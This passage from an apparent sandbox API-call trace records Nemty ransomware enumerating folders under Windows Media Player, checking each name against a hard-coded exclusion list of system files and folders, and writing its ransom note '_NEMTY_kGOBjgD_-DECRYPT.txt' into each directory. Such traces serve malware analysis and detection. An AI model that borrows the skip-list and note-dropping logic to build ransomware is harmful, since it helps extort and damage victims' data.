hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0102.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0102.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0102.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.534] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0963870, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf0963870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf09899d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0102.534] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0102.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0102.534] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbdac3950, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xbdac3950, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2=".") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="..") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="...") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="windows") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="$RECYCLE.BIN") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="rsa") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="NTDETECT.COM") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="ntldr") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="MSDOS.SYS") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="IO.SYS") returned 1 [0102.534] lstrcmpiW (lpString1="Windows Media Player", lpString2="boot.ini") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="boot.ini") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="AUTOEXEC.BAT") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="ntuser.dat") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="desktop.ini") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="CONFIG.SYS") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="RECYCLER") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="BOOTSECT.BAK") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="bootmgr") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="programdata") returned 1 [0102.535] lstrcmpiW (lpString1="Windows Media Player", lpString2="appdata") returned 1 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Media Player", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Media Player", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Media Player", lpUsedDefaultChar=0x0) returned 20 [0102.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0102.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Media Player", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Media Player", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Media Player", lpUsedDefaultChar=0x0) returned 20 [0102.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0102.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0102.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0102.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0102.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0102.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0102.535] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0102.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0102.536] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.536] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0102.537] CloseHandle (hObject=0x3c0) returned 1 [0102.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0102.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0102.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0102.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0102.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0102.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0102.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0102.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0102.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0102.538] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0102.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0102.538] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.538] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0102.539] CloseHandle (hObject=0x3c0) returned 1 [0102.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0102.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0102.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0102.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf0c11130, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0c11130, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0102.540] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.540] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf0c11130, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0c11130, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0102.540] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.540] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.540] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16714270, ftCreationTime.dwHighDateTime=0x1d4ee51, ftLastAccessTime.dwLowDateTime=0x27e00fd0, ftLastAccessTime.dwHighDateTime=0x1d54029, ftLastWriteTime.dwLowDateTime=0x27e00fd0, ftLastWriteTime.dwHighDateTime=0x1d54029, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="dam xbox pics.exe", cAlternateFileName="DAMXBO~1.EXE")) returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2=".") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="..") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="...") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="windows") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="$RECYCLE.BIN") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="rsa") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="NTDETECT.COM") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="ntldr") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="MSDOS.SYS") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="IO.SYS") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="boot.ini") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="boot.ini") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="AUTOEXEC.BAT") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="ntuser.dat") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="desktop.ini") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="CONFIG.SYS") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="RECYCLER") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="BOOTSECT.BAK") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="bootmgr") returned 1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="programdata") returned -1 [0102.540] lstrcmpiW (lpString1="dam xbox pics.exe", lpString2="appdata") returned 1 [0102.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dam xbox pics.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0102.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dam xbox pics.exe", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dam xbox pics.exe", lpUsedDefaultChar=0x0) returned 17 [0102.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0102.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dam xbox pics.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0102.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dam xbox pics.exe", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dam xbox pics.exe", lpUsedDefaultChar=0x0) returned 17 [0102.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0102.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dam xbox pics.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0102.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dam xbox pics.exe", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dam xbox pics.exe", lpUsedDefaultChar=0x0) returned 17 [0102.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dam xbox pics.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0102.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dam xbox pics.exe", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dam xbox pics.exe", lpUsedDefaultChar=0x0) returned 17 [0102.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0102.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940f0 [0102.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0102.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.541] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0102.541] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0102.542] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0102.542] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0102.542] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0102.542] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0102.542] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0102.542] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0102.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0102.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0102.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0102.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0102.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0102.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0102.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0102.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0102.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0102.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f941e0 [0102.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0102.542] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0102.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0102.553] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.553] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0102.554] CloseHandle (hObject=0x3c4) returned 1 [0102.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0102.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 